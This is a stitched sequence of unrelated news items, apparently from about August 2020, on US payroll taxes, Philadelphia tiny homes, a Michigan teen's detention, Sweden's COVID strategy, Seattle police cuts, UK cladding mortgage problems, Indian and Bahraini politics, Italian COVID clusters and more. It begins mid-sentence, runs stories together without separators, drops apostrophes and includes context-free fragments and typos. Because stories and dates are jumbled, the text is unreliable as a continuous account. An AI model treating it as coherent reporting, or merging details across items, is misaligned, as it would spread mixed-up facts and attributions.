million Africans were forced on to the ships between the 17th and 19th centuries. Of these, some 10.6 million survived the crossing. US President Donald Trump signs executive orders extending coronavirus economic relief, during a news conference in Bedminster, New Jersey, on August 8, 2020. Self-employed people shouldn't count on the payroll tax break President Donald Trump has issued via an executive order at least not yet, tax experts said. Payroll taxes are normally shared by employers and employees. Each covers a 6.2% tax to fund Social Security, as well as a 1.45% tax to fund Medicare. Self-employed people foot the entire bill for these levies themselves a self-employment tax that totals 15.3% and pay for them as part of their quarterly estimated taxes. Trump's executive order would suspend the employee's share of payroll taxes from Sept. 1 through the end of the year. It would cover workers who make no more than $4,000 per biweekly pay period or $104,000 annually. More from Your Money Your Future: Trump order gives 35 million student loan borrowers a break until 2021 Second $1,200 stimulus checks might not cover the rent Why you might not see cash from a payroll tax cut The memo detailing the executive order was silent on whether this relief would apply to the self-employed, which is now raising questions among tax professionals. Those same tax pros are already grappling with whether employers or employees could face surprise tax consequences and compliance issues related to the executive order. "I would guess that based on this memo, they would more or less punt it to the Treasury Department to figure out how it looks for self-employed taxpayers," said Tony Nitti, CPA and partner at RubinBrown in Denver. "But the truth is that what we don't know about the memo that was released is far greater than what we do know, and everyone is sitting around with bated breath, waiting for what it means," he said. BIDDEFORD, Maine, Aug. 11, 2020 /PRNewswire/ -- Amber Infrastructure Group ('Amber'), the international infrastructure specialist, and it's US parent Hunt Companies Inc. ('Hunt') have achieved financial close of the City of Biddeford, ME ('City') Lincoln Garage and RiverWalk project. The project involves the design, build, finance, operation and maintenance of a 640 space parking garage along with the construction of sections of the City's pioneering urban RiverWalk. The project, which is part of the City's masterplan to reinvigorate its downtown Mill District, will provide much needed civic amenities to facilitate further development in the area. The City engaged the Amber and Hunt teams through a Progressive Development Agreement, which provided the City with a guaranteed maximum price for the project. The agreement includes a 26-year lease of the newly constructed parking garage to Amber. Through the Progressive Development Agreement, the City was able to optimize the design and delivery schedule while significantly reducing the procurement risk and expense. Progressive Development is a specialism of the combined Amber and Hunt teams, having recently been successfully used to deliver the San Marcos Public Services Complex and Travis County Courthouse projects. Construction of the Lincoln Garage will now commence with an expected in-service date of July 2021. PC Construction is undertaking the project construction and Premium Parking will operate parking services at the parking garage. Tom O'Shaughnessy, Head of Amber Infrastructure US, said: Amber and Hunt are delighted to have been able to accelerate the delivery of the City of Biddeford's critical infrastructure plans. We are pleased to be working with the City of Biddeford and helping to deliver key components of the City's plan for the redevelopment of the Downtown Mill District. Alan Casavant, Mayor of Biddeford, said: "Biddeford has been riding an exciting wave of economic growth and development in recent years," said Biddeford Mayor Alan Casavant. "A much-needed component of our city's growth has been easily accessible parking downtown to accommodate the many people who are drawn to the reimagined and vibrant mill complexes, as well as to our historic Main Street corridor. We couldn't have asked for better partners in this endeavor." Amber Infrastructure Group Amber Infrastructure ('Amber') is an international infrastructure specialist, focused on investment origination, development, asset management and in Europe, fund management. Amber's core business focuses on infrastructure assets across the public, transport, energy, digital and demographic infrastructure sectors that support the lives of people, homes and businesses internationally. Amber is headquartered in London with offices in Europe, North America and Australia and employs approximately 135 infrastructure professionals. Amber had a strategic partnership with the Hunt Group of Companies ('Hunt') in the US since 2015. Learn more at www.amberinfrastructure.com. About Hunt Companies: Hunt, based in El Paso, Texas, is a diversified, family-owned holding company that invests in operating businesses, real estate assets and infrastructure assets. Since its founding in 1947, Hunt's size and scope have grown substantially while gaining considerable expertise across multiple real asset sectors. Hunt's reputation is built on integrity and performance. Hunt is committed to a culture of transparency for employees, clients, investors, and the communities it serves. Hunt and its affiliates employ over 3,000 employees across the United States and Europe. Learn more at www.huntcompanies.com. SOURCE Hunt Companies, Inc. Related Links http://www.huntcompanies.com Marcus Stoltzfus, co-owner of Liberation Tiny Homes in Leola, Pa., shows off a model similar to the kind being considered to house people experiencing homelessness in Philadelphia. Read more Out in Lancaster County, amid the low hills and high corn, horse-drawn Amish buggies slow tourist traffic on winding country roads. Old-time preachers reign on the radio, warning of dark consequences for sinners run amok in 21st-century America. And in the town of Leola, not 50 feet from a clutch of cows lounging under a hot summer sun, a small workshop hums and bustles with the creation of a product that could, someday soon, help the homeless in Philadelphia. Tiny homes, said Matt Meshey, a co-owner of Liberation Tiny Homes. We see them as the solution to a lot of issues, homelessness being one of them. This has gone from a novelty to people realizing its something they can really do. Both Philadelphia officials and organizers of the homeless encampment on the Benjamin Franklin Parkway two months old as of Monday have discussed the possibility of using tiny homes to house many of those now living in tents on a ball field at 22nd Street. How is it that a group of 12 Lancaster County craftsmen who either grew up Amish or have Amish heritage is hammering out a new way to potentially solve one of the knottiest problems in Americas poorest big city, 75 miles to the east? This unlikely story starts with an impassioned individual with a vision. Stephanie Sena, 41, a professor who teaches courses on poverty at the Widger School of Law at Villanova University, has worked for years helping individuals who are homeless. Shes the founder and executive director of the Student-Run Emergency Housing Unit of Philadelphia (SREHUP). Since 2011, the organization, with chapters at various local colleges and universities, operates homeless shelters in church basements during the cold months. Sena, who considers homelessness a human rights violation, is on a first-name basis with many of the roughly 1,000 street homeless in Philadelphia. A few of the 100 to 150 people now occupying the Parkway encampment have been to her house for dinner. READ MORE: Neighbors recognize plight of Parkway homeless, but are fed up with trash, needles, nudity, and human waste Shes been working with City Council as well as the Department of Licenses and Inspections on a plan that could recalibrate current thinking on homelessness. Sena expects to soon start a pilot program that would create a village of 20 tiny homes per acre for the homeless on available city land. Shes looking at a price tag of $40,000 to $50,000 per unit, 8 feet wide by 30 feet long by 13 feet high. The cost includes water, sewer, and electrical hookups. Its not yet clear how many acres would be used. The envisioned village would include a community center, and services for the homeless would be provided. The idea of tiny home villages for the homeless has taken root in Seattle and Austin, Texas, with some success. The city is turning to us, said Sena, who met with L&I leadership on Monday to iron out some zoning and code problems. Several members of City Council have already indicated theyre on board. Im confident this will go forward, Sena said Monday morning. This is my lifes work. We are so close. Sena said she is lining up funding from private and nonprofit sponsors. In her thinking, the residents would own a share of the village, and, as each home appreciates over time, the tiny home occupant could take out some of the equity after he or she moves. This is a really good idea, said City Councilmember Kendra Brooks, who accompanied Sena and other councilmembers on a trip to Liberation Tiny Homes earlier this summer. The homes are quality and offer privacy. It would not be like living on the streets or in a shelter. People deserve dignity, a fresh start. L&I officials did not respond to a request for comment. READ MORE: Once-homeless Philly families are squatting in PHA houses. The agency wants them out. Incongruous pairing The seemingly incongruous pairing of a Villanova professor and a coterie of country builders, none of whom has a college degree, somehow works. Were on board with Stephanies vision, Meshey said. She talks about a community setting with wellness centers in a village. Its more than just houses for people. Shes been fighting for this for years. She impressed us. At Liberation the other day, co-owner Marcus Stoltzfus gave a tour of the small factory, his voice rising to overcome the whirring of saws in the kinetic workshop. The five-year-old workshop is one of only two that manufacture tiny homes in Pennsylvania, the other being not far up the road, also in Lancaster County. There are probably just 75 to 100 builders of tiny homes in the United States, according to Dan Fitzpatrick, president of the Tiny Home Industry Association, headquartered in Denver. Liberation homes are typically made of PVC vinyl and look well-crafted, not like the garage sheds many people picture when they think of tiny homes, Stoltzfus said. Inside, even within the 255-square-foot footprint, theres ample room for two individuals and a pet to live, he said. To demonstrate Liberations flexibility in making tiny homes not just for the homeless, Stoltzfus pointed out a larger-than-usual model costing more than $100,000 being built for an actress whose name we all know. She needs it as a guest house on her Massachusetts property. Stoltzfus conceded that Liberation tiny homes run around $10,000 or so more than Senas desired price. But, he said, we will partner in some way with the city. Sena and the Liberation craftsmen have discussed ways to drive down costs, such as having homeless individuals trained to help make their own homes. One of the big selling points of tiny homes is that they are built on wheels, Liberation homes included. Sena said the Philadelphia homes must be on foundations, and that she will figure out a way to make the conversion. Tiny homes are on tires because mobility is a convenience for the biggest groups of tiny home buyers: baby boomers and millennials, Fitzpatrick said. The older folks are looking to downsize and move from place to place. Or they want something to put in the yard to rent out or give to their kids after they graduate from college. As for millennials, Fitzpatrick said, they have to move from job to job in this new economy. I call them turtles because they will take their tiny homes with them at every stop. You have traveling nurses, traveling professors. Ultimately, Fitzpatrick said, tiny homes are perfect for the kind of housing Stephanie Sena wants for the homeless. And, he added, even though you call it a tiny home, remember: The key word here is home. The Philadelphia Inquirer is one of more than 20 news organizations producing Broke in Philly, a collaborative reporting project on solutions to poverty and the citys push toward economic justice. See all of our reporting at brokeinphilly.org. A black teenager, 15, jailed for not doing her homework has been released from probation after an appeals court ordered a judge to let her go. Judge Mary Ellen Brennan adopted a caseworker's recommendation that the case against the teen - referred to as 'Grace' to protect her identity - be terminated and that she continue receiving mental health treatment at home. This comes after the same judge sent Grace to the Children's Village detention center in Detroit on May 14 saying her failure to complete school work had violated the terms of her parole. The decision sparked outrage and led to protests outside Oakland County Circuit Court last month demanding the girl's release. A black teenager, 15, jailed for not doing her homework has been released from probation after an appeals court ordered a judge to let her go. Pictured the Children's Village detention center where the teen was held from May Brennan released the teen from probation on Tuesday, under the orders of an appeals court. The Michigan Court of Appeals had ordered Grace be immediately released from the facility to her mom on July 31 - a ruling that Brennan said effectively tied the lower court's hands, The Detroit News reported. She said Grace, who suffers from ADHD, appeared to be benefiting from the treatment she had received at the facility. No details of that treatment have been provided. 'This court's goal to place her (in Childrens Village) was to address delinquent behavior and improve life at home for her and her mother,' Brennan said. The girl was first placed on probation last April after she was charged with stealing another student's cellphone and assaulting her mom - known as 'Charisse' - during a row. Judge Mary Ellen Brennan adopted a caseworker's recommendation that the case against the teen be terminated and released her from probation Tuesday During sentencing, Grace tearfully begged Brennan not to send her to a juvenile detention facility. 'My mom and I do get into a lot of arguments, but with each one I learn something and try to analyze why it happened,' the teen sobbed. 'My mom and I are working each day to better ourselves and our relationship, and I think that the removal from my home would be an intrusion on our progress.' Brennan sentenced her to strict probation that included the completion of all schoolwork. But when the schools shuttered due to the coronavirus pandemic, Grace's caseworker Rachel Giroux raised concerns that the work was not being done. In an email penned to Giroux, Grace's teacher wrote: 'Let me be clear that this is no one's fault because we did not see this unprecedented global pandemic coming. 'Grave has a strong desire to do well... [and] is trying to get to the other side of a steep learning curve mountain and we have a plan for her to get there'. Grace's mother, known as Charisse, shared this heartbreaking letter penned by Grace with ProPublica last month Brennan ruled that Grace was in violation of her probation in May and sent her to the detention facility for at least three months. The judge initially cited a 'failure to submit to any schoolwork and getting up for school' for her decision to place the teen in juvenile detention. The 15-year-old was escorted out of the courtroom in handcuffs and ankle shackles. Charisse told ProPublica in a July interview that watching her daughter being taken away was particularly traumatic given that they are both black. 'For us and our culture, that for me was the knife stuck in my stomach and turning,' she said. 'That is our history, being shackled. And she didn't deserve that.' Charisse shared a heartbreaking letter handwritten by Grace inside the detention center with the news site. The girl's imprisonment sparked outrage and led to a protest outside Oakland County Circuit Court last month Another protest was also held at Groves High School, where Grace was a student 'I want to change. I want to be a better person. Here I've realized how much you care and love me. I'm sorry I took that for granted. Please continue to send me pictures of me and you or just with anyone. I love you mommy and I miss you,' the letter reads. As news of her imprisonment spread, protesters gathered outside the courthouse in mid-July demanding her release and calling for law enforcement re-examine how black children are treated in the criminal justice system. The judge defended her decision during a hearing on July 20, claiming Grace was placed in the juvenile facility because she was a threat to her mother and that police had been called out three times for confrontations between the pair. Brennan said the girl was a threat to the community based on an assault allegation involving her mother in November, according to court documents. She also cited the allegations Grace stole a cellphone from a fellow student at Birmingham Groves High School in Beverly Hills, northwest of Detroit. A storm with high-speed winds caused severe damage across Iowa on Tuesday, including in Poweshiek County. The extreme weather caused damage to trees, power lines, and buildings throughout the city of Grinnell. This is a developing story and will be updated as new information becomes available. Sweden's policy of allowing the controlled spread of Covid-19 viral infection among the population has so far failed to deliver the country's previously stated goal of herd immunity. Commenting on recent antibody testing clinical and research findings, authors of a paper published by the Journal of the Royal Society of Medicine, write that Sweden's higher rates of viral infection, hospitalisation and mortality compared with neighbouring countries may have serious implications for Scandinavia and beyond. Rather than imposing a hard lockdown in March as most European and Scandinavian countries did, Sweden's strategy in dealing with the pandemic has been to rely on people's individual responsibility to curtail the spread of the disease. This follows the Swedish sociocultural concept of 'folkvett'; the common sense of the people as a collective. The health authorities predicted that 40% of the Stockholm population would have had the disease and acquired antibodies by May 2020. However, the actual prevalence figure was around 15%. While clinical and research findings suggest that severely infected Covid-19 patients do acquire antibodies in the immediate and early recovery phase of their illness, antibodies are much less commonly found in only mildly ill or asymptomatic patients. This means they are very likely not to be immune, and so cannot act as a bulwark against further spread of infection amongst the community. Lead author Professor David Goldsmith said: "It is clear that not only are the rates of viral infection, hospitalisation and mortality (per million population) much higher than those seen in neighbouring Scandinavian countries, but also that the time-course of the epidemic in Sweden is different, with continued persistence of higher infection and mortality well beyond the few critical weeks period seen in Denmark, Finland and Norway." He added that in these countries, rapid lock-down measures brought in from early March seem to have been initially more successful in curtailing the infection surge and thus the malign consequences of Covid-19 on the country as a whole. Prof Goldsmith said: "We in the UK would do well to remember we nearly trod the same path as Sweden, as herd immunity was often discussed here in early March. Right now, despite strict (but tardy) lock-down in the UK, and the more measured Swedish response, both countries have seen high seven-day averaged Covid-19 death rates compared to other Scandinavian and European countries." The authors do say, however, that only once the pandemic and impact of measures taken are fully understood, after one or two years at least, can we begin fairly then to judge what was done correctly. ### Notes to editors Four months into the COVID-19 pandemic, Sweden's prized herd immunity is nowhere in sight by Eric J WOrlowski and David J A Goldsmith (DOI: 10.1177/0141076820945282) will be published by the Journal of the Royal Society of Medicine at 00:05 hrs (UK time) on Wednesday 12 August 2020. The link for the full text version of the paper when published will be: https://journals.sagepub.com/doi/full/10.1177/0141076820945282 For further information or a copy of the paper please contact: Rosalind Dewar Media Office, Royal Society of Medicine DL: +44 (0) 1580 764713 M: +44 (0) 7785 182732 E: media@rsm.ac.uk The Journal of the Royal Society of Medicine (JRSM) is a leading voice in the UK and internationally for medicine and healthcare. Published continuously since 1809, JRSM features scholarly comment and clinical research. JRSM is editorially independent from the Royal Society of Medicine, and its editor is Dr Kamran Abbasi. JRSM is a journal of the Royal Society of Medicine and it is published by SAGE Publishing. Seattle's chief of police has announced her resignation just hours after the City Council approved proposals on Monday that would reduce the police department by as many as 100 officers. The action called for by BLM protesters has been strongly opposed by Mayor Jenny Durkan and Police Chief Carmen Best, who quit in protest. In a statement shared on social media late Monday night, Best, who is the city's first black female police chief, wrote that she will officially step down from her post on September 2. 'This was a difficult decision for me but when it's time, it's time,' Best wrote, adding that she is 'confident the department will make it through these difficult times'. Scroll down for video Seattle's chief of police, Carmen Best (pictured) has announced her resignation just hours after the City Council approved proposals on Monday that would reduce the police department by as many as 100 officers In a statement shared on social media late Monday night, Best wrote that she will officially step down from her post on September 2. 'This was a difficult decision for me but when it's time, it's time,' Best wrote Mayor Durkan has appointed deputy chief Adrian Diaz (left and right) to serve as interim police chief 'You truly are the best police department in the country, and please trust me when I say, the vast majority of people in Seattle support you and appreciate you,' Best, who served within the department for more than 28 years, said. 'I am impressed daily at your skill, your compassion and your dedication. I look forward to seeing how this department moves forward through the process of re-envisioning public safety. I relish the work that will be done by all of you,' she added. Mayor Durkan has appointed deputy chief Adrian Diaz to serve as interim police chief. Earlier on Monday, only one council member, Kshama Sawant, voted against the budget package, saying it does not do enough to defund the police. Seattle currently has about 1,400 police officers and the reductions fell short of the 50 per cent cut to the department that protesters demanded. Measures that would cut less than $4million of the department's $400million annual budget this year passed out of committee unanimously last week. The City Council also had cut Best's roughly $285,000 annual salary and the pay of other top police leaders, although the final cuts to Best's salary were significantly more modest than those approved last week. The council plan also takes officers off a team that removes homeless camps. The Seattle City Council approved proposals Monday that would reduce the police department by as many as 100 officers through layoffs and attrition The action was one that was supported by demonstrators who have marched in the city following the police killing of George Floyd in Minneapolis Jason Johnson, the interim director of Seattle's Human Services Department, said in a letter last week that the move to defund the city's Navigation Team and redirect money to homeless outreach services will 'dramatically restrict the citys ability to address unauthorized encampments'. 'While we can't do everything in this summer rebalancing package, we have set the path forward for tremendous work in front of us as a council and as a city,' Councilwoman Teresa Mosqueda said. Durkan and Best had urged the council to slow down its discussions about police budgets, saying the issue could be taken up in earnest when the 2021 city budget is considered. They also said any layoffs would disproportionately target newer officers, often hired from Black and brown communities, and would inevitably lead to lawsuits. The decision came just a day after thousands of pro-police supporters donned blue and American patriotic colors as they wrapped around city hall for a 'Back the Blue' rally The pro-police group was gathered outside Seattle City Hall ahead of Monday's City Council vote Durkan has already targeted about $20million in savings from the police budget this year, largely because of reduced revenues amid the COVID-19 pandemic. Last month, the mayor sketched out a plan to reduce the police budget by about $75million next year by transferring parking enforcement officers, the 911 call center and other areas out of the department. As US attorney in Seattle, Durkan previously pushed a Justice Department investigation that found officers too quick to use force, leading to a 2012 consent decree with the federal government. Reviews by an independent monitor have determined that the changes under the consent decree have led to a drop in how often police use force. But critics have said the department's actions during recent protests show not enough progress has been made. The decision came just a day after thousands of pro-police supporters donned blue and American patriotic colors as they wrapped around city hall for a 'Back the Blue' rally. The pro-police group was gathered outside Seattle City Hall ahead of Monday's City Council vote. Later on Sunday, vandals broke into several stores Seattle's First Hill neighborhood. They broke glass doors at a Chase Bank and at a Key Bank as well as a Starbucks and other establishments. Thousands of people living in flats say they can't remortgage or sell their homes due to new safety advice issued in response to the Grenfell Tower fire. Concerns over cladding mean that lenders will not offer a new mortgage on some apartment block homes without paperwork to prove the building is safe. There are fears that up to three million people living in private flats in England could be unable to move as a result. Workers remove cladding from a London tower block in the wake of the Grenfell tragedy. Some lenders will not offer mortgage on some apartment block homes without paperwork It comes after a housing minister said lenders had been misusing a process designed to approve blocks as safe. Fire safety guidance on external walls used to apply only to blocks taller than 60ft, which usually means six storeys. But in January, Government guidance was extended to buildings of all heights with any cladding, not just the type that caused the Grenfell fire in 2017. And blocks with no cladding are also caught by the rules. It means the number of flats requiring the issue of an EWS1 form has grown from 307,000 to three million. The rules have left Rachael, 38, and John Duncan, 35, trapped in a one-bedroom flat in Islington, North London, with their 14-month-old baby. They bought a 50 pc share of the 470,000 flat in 2017. The couple had found their ideal family home in Faversham, Kent, after putting their flat on the market in February. They had agreed a June completion date with their buyer. But in mid-May the sale collapsed when they were told by their solicitor that the buyer's lender was requesting an EWS1 form, which they did not have. Our family is trapped in a tiny flat A London firefighter, his partner and one-year-old daughter have been unable to move to their dream home because they cannot get documents to show that the flat they were selling is not a fire risk. And with no idea of when they might be able to move, it also means that James Gilham and Natalie Russell, both 28, have had to put on hold their plans to give baby Evelyn a brother or sister. James and Natalie bought 50 per cent of their small apartment in Romford, Essex, in 2015, when it was valued at 210,000. No paperwork: James Gilham and Natalie Russell, both 28, have had to put on hold their plans to give baby Evelyn a brother or sister They had agreed to sell it for 300,000, but two weeks ago the deal collapsed when the buyers were told they needed documents to show the building was safe. As a result, James and Natalie lost out on a three-bedroom house in Chelmsford which they were buying for 330,000. James says their buyers have been told they must be supplied with an EWS1 form - a standardised certificate which shows lenders that the flat is not a fire risk. Their apartment block has only four storeys, which meant it would not have required the form before January this year. James says he only found out about the form when he was told their buyer had been unable to get a mortgage. 'This is having a massive impact on our lives,' he says. Rachael, who works in publishing, says their housing association provided a full fire risk assessment demonstrating the apartment was low risk, but they were told only an EWS1 would do. She says they are now at the back of the queue for the lengthy assessment to be carried out because their building is under 60ft and brick-built, so not deemed to be at risk. She adds that this is not likely to be signed off until at least 2026. 'Our situation is bleak,' says Rachael. 'We have a one-bed flat we cannot rent out as it's against shared ownership rules. 'With only two rooms, there's not enough space for the things a toddler needs. My husband and I have been sleeping on a sofa bed in the kitchen/living room. We are in our late 30s and our plan was to have a bigger family, but that now looks impossible.' Last month, Housing Minister Christopher Pincher admitted that lenders had been using the EWS1 forms more often than originally intended. The forms were brought in last year to give lenders more confidence in providing mortgages on multi-storey buildings following the Grenfell Tower fire. Valuers can request the forms from building owners to confirm they do not pose a fire risk. If they do pose some risk, an explanation of required repair work is needed. Fire engulfs the 24 story Grenfell Tower in West London on June 14, 2017. Nick Morrey, of mortgage broker John Charcol, says lenders are simply following official guidance, but there are 'inherent problems' in getting the forms due to the lack of specialist surveyors. He says: 'Is it creating mortgage prisoners? Yes, undoubtedly. However, all the properties need to be inspected.' Mr Pincher admits there are fewer than 300 chartered fire engineers who can carry out an EWS1 survey which means just one engineer for every 10,000 flats needing a survey. Martin Boyd, of the Leasehold Knowledge Partnership, says he is aware of residents being told to wait ten years until their homes can be declared safe. A government spokesman says: 'The EWS1 process is designed to support valuations for high rises where cladding may be a concern this is because of the increased risk fire can present at height. 'While not all lenders require an EWS1 form, building owners should be as forthcoming as possible about the construction of their building and the fire safety measures in place.' m.dilworth@dailymail.co.uk Former district president of BJP Sanjay Khokhar was shot dead by miscreants on Tuesday while he was out on a morning walk near his home in Baghpat district of Uttar Pradesh. As per preliminary information, two unknown persons carried out the attack and managed to escape. Khokhar was fired at twice and died on the spot. The incident took place in Chaprauli police station area in the early hours of Tuesday. Police officials rushed to the spot when they were intimated about Khokhar's murder. The police have formed teams and the hunt is on to nab the criminals. The victim's body has been sent for post mortem. Speaking to the media over the incident, SP Baghpat, Ajay Kumar said, The former district chief Sanjay Khokar had gone for his routine morning walk when he was shot dead today morning. Prima facie, a recent dispute has been known as a probable reason behind this murder, however, no written complaint has been received yet. Teams have been deployed for the arrest of the culprits and soon the killers will be arrested. The deceased has suffered two bullet injuries, one on the head and another one on the chest. The deceased BJP leader was a teacher in a junior high school in Kakor Kala village. On Tuesday morning, he left his house for a morning walk on Tilwara road. He was killed near a farm located about one-and-a-half kilometres away from his house. Uttar Pradesh Chief Minister Yogi Adityanath expressed his condolences over Khokhar's demise and instructed police to nab the killers at the earliest. The UP Congress Committee has, meanwhile, attacked the state government over the incident. Speaking to News18, Uttar Pradesh Congress Committee (UPCC) spokesperson Anshu Awasthi said, The murder of BJP leader Sanjay Khokar in Baghpat today once again confirms that there is no law and order in the state. People are fed up with the three years of 'Jungle Raj' by the Yogi Adityanath government in the state. When leaders from the ruling side are killed, then one can imagine the safety of common people." Awasthi added that the state government had failed to deliver in these three years on the issue of safety and further demanded the chief minister's resignation. TDT | Manama Bahrains total revenues collected have decreased by 29 per cent year-on-year (YoY) due to falling oil prices, according to the biannual financial report for 2020 for the period ending June 30. The report was reviewed yesterday during the weekly Cabinet meeting, chaired by His Royal Highness Prince Salman bin Hamad Al Khalifa, Crown Prince, Deputy Supreme Commander and First Deputy Prime Minister, held remotely. Oil revenue decreased by 35 per cent and non-oil revenue fell by 13 per cent YoY as a result of economic contraction driven by the coronavirus (COVID-19), and the waiving of government service fees. The results showed discipline in total expenditures according to the budget and a decrease in recurrent expenditures compared to 2019. As a result, the BD798 million deficit indicated in the biannual financial report for the first half of 2020 was an increase of 98 per cent, in comparison to 2019. The Cabinet also reviewed Bahrains final annual accounts report for 2019. Bahrain has recorded a favourable variance of 3.1 per cent, with BD2,902.4 million in revenue collected, exceeding the budget target of BD2,815.7 million, while expenditure amounted to BD3,586.1 million, only 0.82 per cent above the budgeted BD3,556.8 million. In line with the Fiscal Balance Programme, the Kingdom recorded a budget deficit of BD683.7 million in 2019BD57.4 million or 7.7 per cent below the forecasted deficit of BD741.1 million, which reflects the programmes success. Furthermore, Bahrains real GDP grew by 1.8 per cent, in parallel with the programmes implementation. Meanwhile, the Cabinet reviewed a report presented by the Deputy Prime Minister and Ministerial Committee for Financial and Economic Affairs and Financial Balance chairman on the committees work carried out throughout the first half of 2020. The Deputy Premier confirmed a total of 22 meetings were held, during which 67 topics were discussed, including the committees 2019-2022 priorities, Bahrains BD4.5 billion initial and subsequent economic stimulus packages, reducing ministerial operation expenses by 30 per cent, and the implementation of the Fiscal Balance Programme. Also during the meeting, the Cabinet expressed its admiration of the speech given by His Majesty King Hamad bin Isa Al Khalifa for Eid Al Adha, and praised HM the Kings support for the governments response to COVID-19, which has successfully minimised the human and economic impact of the pandemic. The Cabinet also praised the royal directives enacted to provide urgent relief aid to Lebanon, expressing Bahrains full solidarity and support for the countrys people following the explosions in Beirut. The Cabinet extended its congratulations to the Custodian of the Two Holy Mosques King Salman bin Abdulaziz Al Saud, and the Saudi Crown Prince, Deputy Prime Minister, and Minister of Defence Prince Mohammad bin Salman Al Saud on the success of this years Hajj and for taking exemplary health measures during these unprecedented times. The Cabinet also congratulated the UAE president, the government and people for the successful operation of the Barakah nuclear power plant. Akyem-Abuakwa State Secretary, Daniel Marfo Ofori Atta is worried about the bad image Bright Senior High School located at Kukurantumi in the Eastern Region has brought to the monarch. According to him, the Okyeman over the years has excelled immensely in academics - haven provided prominent people occupying various high positions in the country. The Okyeman is well noted for academic excellence with impeccable integrity of leaders. He said in an interview with NEAT FMs morning show Ghana Montie The Akyem Abuakwa Traditional Council has called for the closure of Bright Senior High after officials of the West African Examination Council (WAEC) supervising the ongoing WASSCE examination were attacked by students of the school on Thursday, 6 August 2020 over strict invigilation. A journalist with the state-owned Daily Graphic was also beaten by the students during the melee. The students acted upon alleged directives from their headmaster about strict supervision and social-distancing protocols in the exam hall. Source: King Edward Ambrose Washman Addo/Peacefmonline.com/Ghana Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Source: Xinhua| 2020-08-11 03:01:49|Editor: huaxia Video Player Close ROME, Aug. 10 (Xinhua) -- A series of new clusters of COVID-19 cases linked to holidaymakers returning from abroad raised concerns in Italy on Monday, while fresh statistics confirmed a stable trend in daily new infections. The clusters were detected in several regions across the country lately, and all of them appeared to have been swiftly circumscribed by local health authorities so far. The latest concerned a group of 10 Italian students, who recently returned to the southern Apulia region after traveling to Greece to celebrate the end of their final school exams. Five of them tested positive to the coronavirus on Monday, according to Apulia regional and municipal authorities. "The whole group (of 10) was put under quarantine, as well as their relatives, and the people which they have eventually entered into contact with," Antonio Lorenzo Donno, mayor of the town of Muro where some of the youths live, said on Facebook. A sixth person in the same region also tested positive after spending holidays in Malta, according to regional authorities. The central Lazio (surrounding Rome) registered 38 new infections over the last 24 hours, and nine of them related to people returning from abroad: Spain (2 cases), Malta (2), Ukraine (2), Pakistan (2), and Romania (1), according to regional health councillor Alessio D'Amato. "We are surrounded by countries with a higher COVID-19 incidence rate: let us follow preventive measures, or we risk finding ourselves in the same situation soon," D'Amato warned in a statement. Two other clusters linked to holidaymakers had sparked fears at national level recently. The first was related to seven teenagers -- and one mother of them -- who tested positive after spending their vacation in the Greek island of Corfu. The second concerned 24 students who returned from Croatia to the northern Veneto region in early August, and were put in quarantine after at least two of them developed the infection. Since last week, similar cases have been reported in Friuli Venezia Giulia, Marche, Umbria, Emilia Romagna, and Piedmont regions as well. Acknowledging a decrease in the average age among new infection cases recently, Deputy Health Minister Pierpaolo Sileri urged young people to make use of the Immuni contact tracing app launched by the authorities in late April. "We must prevent the virus from being imported and from entering our homes, which are the place where the virus has been mainly transmitted at the beginning of the pandemic," Sileri told private La7 TV broadcaster on Monday. In a separate comment on Sunday, however, Sileri specified the recent clusters should not lead people to think the situation was "running out of control." "It is not the case: there is no recrudescence at national level, but several well-contained hotbeds," he stressed. Meanwhile, the daily bulletin issued by the Health Ministry on Monday showed 259 new COVID-19 cases overall across the country over the last 24 hours -- compared to an increase of 463 reported on Sunday. Active infections were 13,368, with an increase by 105 cases. Four people died over the past 24 hours, which brought the country's death toll to 35,209 since the pandemic began in late February. Some 150 new recoveries were also registered, pushing the total of people cured to 202,248. The total number of COVID-19 cases assessed was 250,825, considering active infections, recoveries, and fatalities, the Health Ministry stated. Several regional governors, including those of the Lazio, Campania, and Veneto regions were now urging central authorities to speed up validation procedures on technologies for rapid tests, in order to have them available for checking on those returning from abroad. The scientific-technical committee counseling the Italian cabinet in the COVID-19 emergency is currently examining such technologies, Ansa news agency reported. Enditem US Health and Human Services Secretary Alex Azar says its more important to have a safe and effective vaccine against the coronavirus than to be the first to produce a vaccine. Azar, on a visit to Taiwan, was asked by ABC on Tuesday what he thought of Russias announcement that it had become the first country to register a vaccine against the virus. He says, The point is not to be first with a vaccine. The point is to have a vaccine that is safe and effective for the American people and the people of the world. He says its important to have transparent data on the vaccine to prove its safety and efficacy. He also noted that the US has six vaccines in development under the Operation Warp Speed initiative. Click here for full Covid-19 coverage The US has the highest death and case count in the world, with more than 163,000 deaths and over 5 million cases. Meanwhile, White House counselor Kellyanne Conway expressed skepticism about the testing backing up Russias claim that it has developed a Covid-19 vaccine. The US standards are so much more stringent, Conway said Tuesday on Fox Fox & Friends. Our FDA in our country sets the standards and what I understand from the Russia announcement is this is nowhere near where we are. SHARE THIS ARTICLE ON The team used two samplers, one about 7 feet from the patients and the other about 16 feet from them. The scientists were able to collect virus at both distances and then to show that the virus they had plucked from the air could infect cells in a lab dish. Bhopal: The Madhya Pradesh government will bear marriage expenses of all the police officials who die in the line of duty, Chief Minister Shivraj Singh Chouhan announced here Saturday. Chouhan, who attended the marriage ceremony of slain jail head constable Ramashankar Yadavs daughter Sonia last night, donned the role of the girls father as he welcomed guests at the entry gate. If any police personnel dies in the line of duty, then the state government will bear all the expenses of their daughters marriage and these girls will be treated as the states daughter, an official release from the state government said. ALSO READ: (11 years of Shivraj Singh Chouhan: Know all about longest serving Chief Minister of Madhya Pradesh) The state government claimed that it had left no stone unturned to make this (Sonias) marriage a grand event. Yadav was allegedly killed by eight SIMI activists on the intervening nights of October 30-31 before they escaped from the high security jail by scaling its walls with the help of bedsheets. The activists were later gunned down by Bhopal Police in an alleged encounter. Chouhan had then promised that the government will not only offer job to any family member but will also make all arrangements for the marriage of Sonia. The chief minister also handed over an appointment letter for the post of Assistant Grade-III to Sonia as her marriage gift on the occasion. Chouhan stayed at the wedding till all rituals were done and said that Sonia is a daughter of Madhya Pradesh. He conveyed greetings to both the families on the occasion. Madhya Pradesh Minister of State for Cooperatives (independent charge) Vishwas Sarang was among others present at the function. For all the Latest India News, Download News Nation Android and iOS Mobile Apps. Multnomah County District Attorney Mike Schmidt announced on Tuesday that his office will not prosecute many protesters who have been arrested during recent Portland demonstrations. 